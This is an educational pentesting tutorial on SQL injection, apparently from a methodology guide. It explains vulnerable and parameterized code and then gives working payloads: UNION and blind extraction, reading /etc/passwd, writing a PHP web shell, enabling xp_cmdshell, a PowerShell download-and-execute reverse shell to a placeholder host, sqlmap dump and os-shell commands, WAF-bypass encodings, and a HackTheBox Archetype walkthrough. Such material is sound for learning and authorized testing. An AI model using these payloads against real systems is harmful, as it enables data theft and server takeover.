Databases run everything. Your bank account. Your medical records. Your social media profile. Every e-commerce site you have ever bought something from. Behind almost every website that stores information about you is a database — and between that database and the outside world is a layer of code that is supposed to keep them separate. SQL injection is what happens when that layer has a gap.
🔰 Beginners: This section builds from the ground up. Every technical term gets explained before it is used. Work through it in order and everything will make sense by the time you reach the worked example.
⚡ Seasoned practitioners: Jump straight to the Real Worked Example at the bottom for the workflow reference.
- What Is a Database — Plain English
- What Is SQL
- What Is SQL Injection
- Why This Vulnerability Exists
- Types of SQL Injection
- The SQLi Exploitation Process
- In-Band SQLi — Error Based
- In-Band SQLi — UNION Based
- Blind SQLi — Boolean Based
- Blind SQLi — Time Based
- Getting a Shell via SQLi
- SQLi in Different Contexts
- Tools for SQL Injection
- Advanced SQL Injection Concepts
- Real Worked Example
- CTF vs Real World
A database is an organized collection of information stored on a computer so it can be searched, retrieved, and updated quickly.
Think of it like a massive, highly organized filing cabinet. Each drawer is a table. Each folder in the drawer is a row. Each piece of paper in the folder is a column — a specific piece of information like a name, a password, or an email address.
When you log into a website, the website opens that filing cabinet, looks through the users drawer, finds the folder with your username, checks if the password on the paper matches what you typed, and lets you in or turns you away.
The language used to talk to that filing cabinet is SQL.
SQL stands for Structured Query Language. It is the language that applications use to communicate with databases — asking questions, retrieving data, adding records, and making changes.
Plain English translation of common SQL:
-- The * means "everything" — like a wildcard
-- "Show me everything in the users table"
SELECT * FROM users;
-- "Show me the password for the user named admin"
SELECT password FROM users WHERE username = 'admin';
-- "Add a new user"
INSERT INTO users (username, password) VALUES ('newuser', 'password123');
-- "Delete the user named testuser"
DELETE FROM users WHERE username = 'testuser';The * is called a wildcard — it means "give me all columns" instead
of listing each one by name. The WHERE clause is what filters results
down to specific rows — it is also where SQL injection most commonly
lives.
SQL injection happens when an application takes input from a user — a search box, a login form, a URL parameter — and includes that input directly in a database query without checking it first.
The login form example — plain English:
A login form takes your username and password and builds a database query that looks like this:
SELECT * FROM users WHERE username = 'INPUT' AND password = 'INPUT';The application is supposed to put your actual username and password where it says INPUT. What happens if instead of a username you type:
' OR '1'='1
The query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';Breaking down why this works:
The condition '1'='1' is asking the database "is the number 1 equal
to the number 1?" The answer is always yes — it is always true. There
is no situation where 1 does not equal 1.
The OR before it means the database only needs ONE of the two
conditions to be true to return a result. The username can be wrong.
The password can be wrong. As long as '1'='1' is true — and it
always is — the database returns all users and the application logs
you in.
You did not hack the database. You had a conversation with it in its own language, and it answered honestly.
SQL injection has existed since the 1990s and is still one of the most common vulnerabilities found today. The reason is simple — developers build applications that trust user input.
The vulnerable pattern:
# This is what vulnerable code looks like
username = request.form['username']
query = "SELECT * FROM users WHERE username = '" + username + "'"
# ↑ User input dropped directly into the query — no checkingThe safe pattern:
# This is what safe code looks like — parameterized query
username = request.form['username']
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))
# ↑ Input is passed separately — database treats it as data, not codeThe difference is whether the application separates code from data. Parameterized queries — also called prepared statements — tell the database "this is the query shape, and this is the data to fill in" separately. The database never interprets the data as SQL code.
Every major web framework has built-in support for parameterized queries. SQL injection exists because developers skip them — sometimes from inexperience, sometimes from rushing, sometimes from not knowing better.
| Type | Plain English | When You Use It |
|---|---|---|
| In-Band — Error Based | The database error message tells you information | Error messages are visible on the page |
| In-Band — UNION Based | You add your own query alongside the real one and see results | Query results are displayed on the page |
| Blind — Boolean Based | You ask true/false questions and watch the page change | No visible output — page behavior changes |
| Blind — Time Based | You make the database pause and measure how long it takes | No visible output or behavior change |
| Out-of-Band | Database sends data to an external server you control | Rare — requires specific database features |
Step 1 → Find injection points
Any place that takes user input and might query a database
Login forms, search boxes, URL parameters, cookies
Step 2 → Confirm injection
Send a single quote ' and look for database errors
Try boolean tests — does the page behave differently?
Step 3 → Identify the database type
MySQL, PostgreSQL, MSSQL, Oracle, SQLite all have
slightly different syntax
Step 4 → Determine number of columns
Required for UNION-based injection
Step 5 → Extract database information
Database names → table names → column names → data
Step 6 → Escalate if possible
Read files, write files, execute commands
Plain English: The database makes a mistake and tells you about it. Those error messages contain information about the database structure that you can use to extract data.
# In a URL parameter
http://target.com/page?id=1'
# In a login form username field
admin'
# In a search box
test'
What to look for:
MySQL error: You have an error in your SQL syntax...
MSSQL error: Unclosed quotation mark after the character string...
Oracle error: ORA-01756: quoted string not properly terminated
PostgreSQL: ERROR: unterminated quoted string at or near...
Any database error confirms injection is possible. The error message itself often reveals the database type.
-- Extract database version through error
' AND extractvalue(1,concat(0x7e,version()))-- -
-- Extract current database name
' AND extractvalue(1,concat(0x7e,database()))-- -
-- Extract table names
' AND extractvalue(1,concat(0x7e,(SELECT table_name
FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1)))-- -Plain English: SQL has a UNION operator that combines the results of two SELECT queries into one result set. If a page displays query results, you can add your own SELECT query using UNION and have its results displayed alongside the real ones — or instead of them.
Think of it like a restaurant that reads out the daily specials and the regular menu together. If you can inject your own item into that announcement, it gets read out with everything else.
The UNION query must have the same number of columns as the original.
-- Try ORDER BY to find column count
-- Increase the number until you get an error
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - ← error here means 2 columns-- Replace the original query results with your test values
' UNION SELECT NULL,NULL-- -
' UNION SELECT 'test1','test2'-- -
-- Look for 'test1' or 'test2' appearing on the page-- Database version
' UNION SELECT @@version,NULL-- -
-- Current database name
' UNION SELECT database(),NULL-- -
-- Current user
' UNION SELECT user(),NULL-- -
-- All databases on the server
' UNION SELECT schema_name,NULL
FROM information_schema.schemata-- -
-- All tables in current database
' UNION SELECT table_name,NULL
FROM information_schema.tables
WHERE table_schema=database()-- -
-- All columns in the users table
' UNION SELECT column_name,NULL
FROM information_schema.columns
WHERE table_name='users'-- -
-- The actual data
' UNION SELECT username,password FROM users-- -Database-specific syntax differences:
-- MySQL
' UNION SELECT @@version,NULL-- -
-- MSSQL
' UNION SELECT @@version,NULL--
-- Oracle (must select FROM a table — dual is a built-in dummy table)
' UNION SELECT banner,NULL FROM v$version--
-- PostgreSQL
' UNION SELECT version(),NULL--Plain English — what boolean means: Boolean is just a fancy word for something that can only be one of two things — true or false. On or off. Yes or no. That is it. Named after mathematician George Boole, it shows up everywhere in computing because computers think in binary — everything eventually comes down to a 1 or a 0.
What a boolean test is: A boolean test is simply a question that can only be answered with yes or no. "Is the sky blue?" — yes. "Is 5 greater than 10?" — no. In SQL injection, you ask the database yes/no questions and watch how the page responds to figure out what the answer was.
Why this matters here: Sometimes a page does not show you database errors or query results directly — it just shows you a page that either loads normally or behaves differently depending on whether the database query succeeded. You cannot see the data. But you can ask yes/no questions and watch whether the page changes — and through enough questions, extract anything.
Think of it like the game 20 Questions. You cannot see the answer directly. But ask "is it bigger than a breadbox?" and watch the reaction — eventually you narrow it down.
What true and false mean in this context:
-- TRUE condition — the real query succeeds, page loads normally
' AND 1=1-- -
-- 1=1 is always true (1 always equals 1)
-- The page loads as expected
-- FALSE condition — the real query fails, page breaks or shows nothing
' AND 1=2-- -
-- 1=2 is always false (1 never equals 2)
-- The page breaks, shows an error, or shows no resultsIf those two requests produce different page behavior — the page changes between the true and false versions — boolean blind SQLi is confirmed. The database is answering your yes/no questions through how the page responds.
Extracting data one character at a time:
-- "Is the first character of the database name greater than 'm'?"
-- If the page loads normally → yes, it is greater than 'm'
-- If the page breaks → no, it is 'm' or less
' AND (SELECT SUBSTRING(database(),1,1)) > 'm'-- -
-- "Is the first character of the database name equal to 'd'?"
' AND (SELECT SUBSTRING(database(),1,1)) = 'd'-- -
-- Extract username character by character
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1) = 'a'-- -This is tedious manually. Boolean-based blind SQLi requires potentially hundreds of requests to extract even a short string — one character at a time, one yes/no question at a time. This is where automated tools like SQLmap become valuable — they automate the thousands of requests needed to extract data this way.
Plain English: When the page does not change at all between true and false conditions, you have one more option — make the database wait. If you can make the database pause for a specific number of seconds when a condition is true, you can extract data the same way as boolean — just by measuring response time instead of page changes.
If you send a query that says "pause for 5 seconds if the first character of the database name is 'd'" — and the page takes 5 seconds to respond — you know the answer is yes.
-- MySQL — pause 5 seconds if condition is true
' AND SLEEP(5)-- -
-- MSSQL — pause 5 seconds
'; WAITFOR DELAY '0:0:5'-- -
-- PostgreSQL — pause 5 seconds
'; SELECT pg_sleep(5)-- -
-- Oracle — pause 5 seconds
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -
-- Extract data with time delays
-- "Is the first character of the database name 'd'? Pause 5s if yes"
' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(5),0)-- -In certain conditions SQL injection can be escalated beyond data extraction to actual command execution on the server.
-- Read /etc/passwd if the database user has FILE privilege
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -
-- Read the web application source code
' UNION SELECT LOAD_FILE('/var/www/html/config.php'),NULL-- --- Write a PHP web shell to the web root
-- Requires FILE privilege and write access to web root
' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL
INTO OUTFILE '/var/www/html/shell.php'-- -
-- Access the shell
-- http://target.com/shell.php?cmd=idMSSQL has a built-in stored procedure called xp_cmdshell that
executes operating system commands directly. It is disabled by default
but can sometimes be re-enabled via injection.
-- Enable xp_cmdshell (requires sysadmin privileges)
'; EXEC sp_configure 'show advanced options',1--
'; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1--
'; RECONFIGURE--
-- Execute a command
'; EXEC xp_cmdshell 'whoami'--
-- Get a reverse shell
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://YOUR-IP/shell.ps1'')"'--SQL injection is not limited to web forms. It appears anywhere user input reaches a database query.
# Vulnerable URL
http://target.com/products?id=1
# Test for injection
http://target.com/products?id=1'
http://target.com/products?id=1 AND 1=1-- -
http://target.com/products?id=1 AND 1=2-- -
# Inject via User-Agent header
curl -H "User-Agent: ' OR '1'='1" http://target.com/
# Inject via X-Forwarded-For
curl -H "X-Forwarded-For: ' OR '1'='1" http://target.com/
# Inject via Cookie
curl -H "Cookie: session=' OR '1'='1" http://target.com/Plain English: Second order injection is where you store malicious input in the database — and the injection fires later when the application retrieves and uses that data in a different query.
You register with a username of admin'--. The registration stores
it safely. Later, a password change function retrieves your username
and uses it unsafely in a new query — and your injection fires then.
This is one of the hardest SQLi variants to find because the injection point and the execution point are in completely different parts of the application.
# Kali Linux — pre-installed
sqlmap --version
# Update
sqlmap --update
# Ubuntu / Debian
sudo apt install sqlmap
# macOS
brew install sqlmap
# Windows — Option 1: Python (recommended)
# Install Python from python.org first, then:
pip install sqlmap
# Run with:
python -m sqlmap
# Windows — Option 2: Download directly
# Go to https://sqlmap.org and download the zip
# Extract it, then run:
python sqlmap.py
# Windows — Option 3: WSL2 with Kali (best option for Windows)
# Install WSL2 first (see Metasploit section for WSL2 setup)
# Then inside WSL/Kali:
sudo apt install sqlmap# Test a URL
sqlmap -u "http://target.com/page?id=1"
# Test and automatically dump everything
sqlmap -u "http://target.com/page?id=1" --dump
# Test a POST request
sqlmap -u "http://target.com/login" \
--data "username=admin&password=test"
# Test with cookies (authenticated pages)
sqlmap -u "http://target.com/profile?id=1" \
--cookie "session=abc123"
# Use a saved Burp Suite request
sqlmap -r request.txt
# Specify database type (speeds up testing)
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
# List databases
sqlmap -u "http://target.com/page?id=1" --dbs
# List tables in a database
sqlmap -u "http://target.com/page?id=1" \
-D database_name --tables
# Dump a specific table
sqlmap -u "http://target.com/page?id=1" \
-D database_name -T users --dump
# Get an OS shell (if conditions allow)
sqlmap -u "http://target.com/page?id=1" --os-shell
# Batch mode — answer yes to all prompts
sqlmap -u "http://target.com/page?id=1" --batchPlain English — what a proxy is: A proxy is a middleman. Instead of your browser talking directly to a website, it talks to the proxy first — and the proxy passes the message along to the website on your behalf. The website responds to the proxy, and the proxy passes that response back to your browser.
Think of it like having an assistant who reads every letter before you send it and every reply before you receive it. Nothing gets through without passing through their hands first.
Does a proxy hide you? Burp Suite's proxy is not designed for anonymity — it does not hide your identity from the website. The website still sees your real IP address. Burp's proxy exists purely to let you intercept, read, and modify traffic before it goes anywhere. It is a visibility and control tool, not a privacy tool.
For anonymity you would use something like Tor or a VPN — which are different tools for a different purpose.
What Burp Suite's proxy does for security testing:
- Intercepts every request your browser sends before it reaches the server
- Lets you read exactly what is being sent — including hidden form fields, cookies, and headers that are invisible in the browser
- Lets you modify any part of the request before sending it
- Lets you replay the same request over and over with different values
- Saves requests so you can feed them to other tools like SQLmap
For SQL injection testing specifically, Burp Suite lets you:
- Intercept a login form and modify the username before it reaches the server
- Save the full HTTP request and feed it directly to SQLmap with
-r request.txt - Use the Repeater tool to manually test injection payloads one at a time
- Use the Intruder tool to automatically cycle through a list of payloads
# Kali Linux — pre-installed
burpsuite
# macOS / Windows / Linux — download Community Edition free
# https://portswigger.net/burp/communitydownload
# Community Edition is free and covers everything in this guideSetting up the proxy in your browser:
Burp Suite listens on 127.0.0.1:8080 by default. Configure your
browser to use that as its proxy:
Firefox:
Settings → Network Settings → Manual proxy configuration
HTTP Proxy: 127.0.0.1 Port: 8080
Check "Also use this proxy for HTTPS"
Chrome (via FoxyProxy extension — recommended):
Install FoxyProxy from the Chrome Web Store
Add a proxy: 127.0.0.1, port 8080
Toggle it on when you want to intercept
Plain English: A WAF — Web Application Firewall — is a security
layer that sits in front of a web application and blocks requests
that look like attacks. It scans incoming traffic looking for known
attack patterns — things like UNION SELECT or OR 1=1 — and blocks
them before they ever reach the application.
WAF bypass is the art of making your injection look like legitimate traffic so the WAF lets it through while the database still interprets it as a command.
-- Case variation (WAFs often match lowercase patterns only)
' uNiOn SeLeCt 1,2,3-- -
-- Comment insertion to break up keywords the WAF is looking for
' UN/**/ION SEL/**/ECT 1,2,3-- -
-- URL encoding (browser decodes it before the database sees it)
' %55NION %53ELECT 1,2,3-- -
-- Double URL encoding
' %2555NION %2553ELECT 1,2,3-- -
-- Whitespace alternatives (tab and newline instead of space)
' UNION%09SELECT 1,2,3-- - ← tab character
' UNION%0ASELECT 1,2,3-- - ← newline character
-- Scientific notation for numbers
' UNION SELECT 1e0,2e0,3e0-- -Plain English: Not all databases use SQL. MongoDB, CouchDB, and Redis use completely different query languages — they are called NoSQL databases because they do not use SQL at all. NoSQL injection works on the same principle as SQL injection — unsanitized user input reaching a database query — but the syntax is completely different because the database speaks a different language.
// MongoDB injection in a login form
// Normal query — what the developer intended:
db.users.find({username: "INPUT", password: "INPUT"})
// Injected query using MongoDB operators:
username: {"$gt": ""}
password: {"$gt": ""}
// $gt means "greater than"
// This asks: find users where username > "" AND password > ""
// Every username and every password is greater than an empty string
// So the database returns all users — login bypass achieved# Testing for NoSQL injection
# In a JSON POST body:
{"username": {"$gt": ""}, "password": {"$gt": ""}}
# With curl
curl -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'Target: HackTheBox — Archetype (SQL Server / MSSQL target)
Scenario: You have found a web application with a login form. nmap showed MSSQL running on port 1433.
# Step 1 — Test for injection in the login form
# Username: admin'
# If error appears — injection confirmed
# Step 2 — Identify it is MSSQL from the error message
# "Unclosed quotation mark after the character string"
# Step 3 — Test with SQLmap using a saved Burp request
sqlmap -r login_request.txt --dbms=mssql --batch
# Step 4 — Enumerate databases
sqlmap -r login_request.txt --dbms=mssql --dbs --batch
# Step 5 — Dump credentials
sqlmap -r login_request.txt --dbms=mssql \
-D master -T users --dump --batch
# Step 6 — Enable xp_cmdshell for RCE
sqlmap -r login_request.txt --dbms=mssql \
--os-shell --batch
# Step 7 — Get a proper reverse shell through the OS shell
# In the SQLmap OS shell:
xp_cmdshell powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"Manual approach for the same target:
-- Confirm injection
admin'--
-- Check if xp_cmdshell is available
'; SELECT name FROM sys.configurations WHERE name='xp_cmdshell'--
-- Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
-- Execute commands
'; EXEC xp_cmdshell 'whoami'--
-- Download and execute a reverse shell
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://YOUR-IP/Invoke-PowerShellTcp.ps1'')"'--Practice targets:
- HackTheBox — Archetype (MSSQL)
- HackTheBox — Popcorn (MySQL)
- DVWA — SQL Injection module (beginner friendly)
- PentesterLab — SQL Injection exercises
- HackTheBox Academy — SQL Injection module
| CTF | Real Engagement | |
|---|---|---|
| Finding injection | Usually obvious — intended path | Hidden in headers, cookies, APIs |
| WAF present | Rarely | Almost always |
| Database type | Often MySQL | Varies — MySQL, MSSQL, Oracle, PostgreSQL |
| SQLmap use | Freely | Check scope — automated tools are loud |
| Manual testing | Good practice | Often required to bypass WAF |
| Data extraction | Get the flag | Scope limited — what are you allowed to touch |
| Shell escalation | Always try it | Only if explicitly in scope |
| Documentation | Notes | Full evidence capture required |
| Resource | What It Covers |
|---|---|
| Manual Exploitation | Manual SQLi workflow in depth |
| Other Automated Tools | SQLmap deep dive |
| RCE | What to do once you have command execution |
| Shells | Turning command execution into a shell |
| Evasion | WAF bypass techniques |
| Vuln Research | Finding SQLi CVEs |
by SudoChef · Part of the SudoCode Pentesting Methodology Guide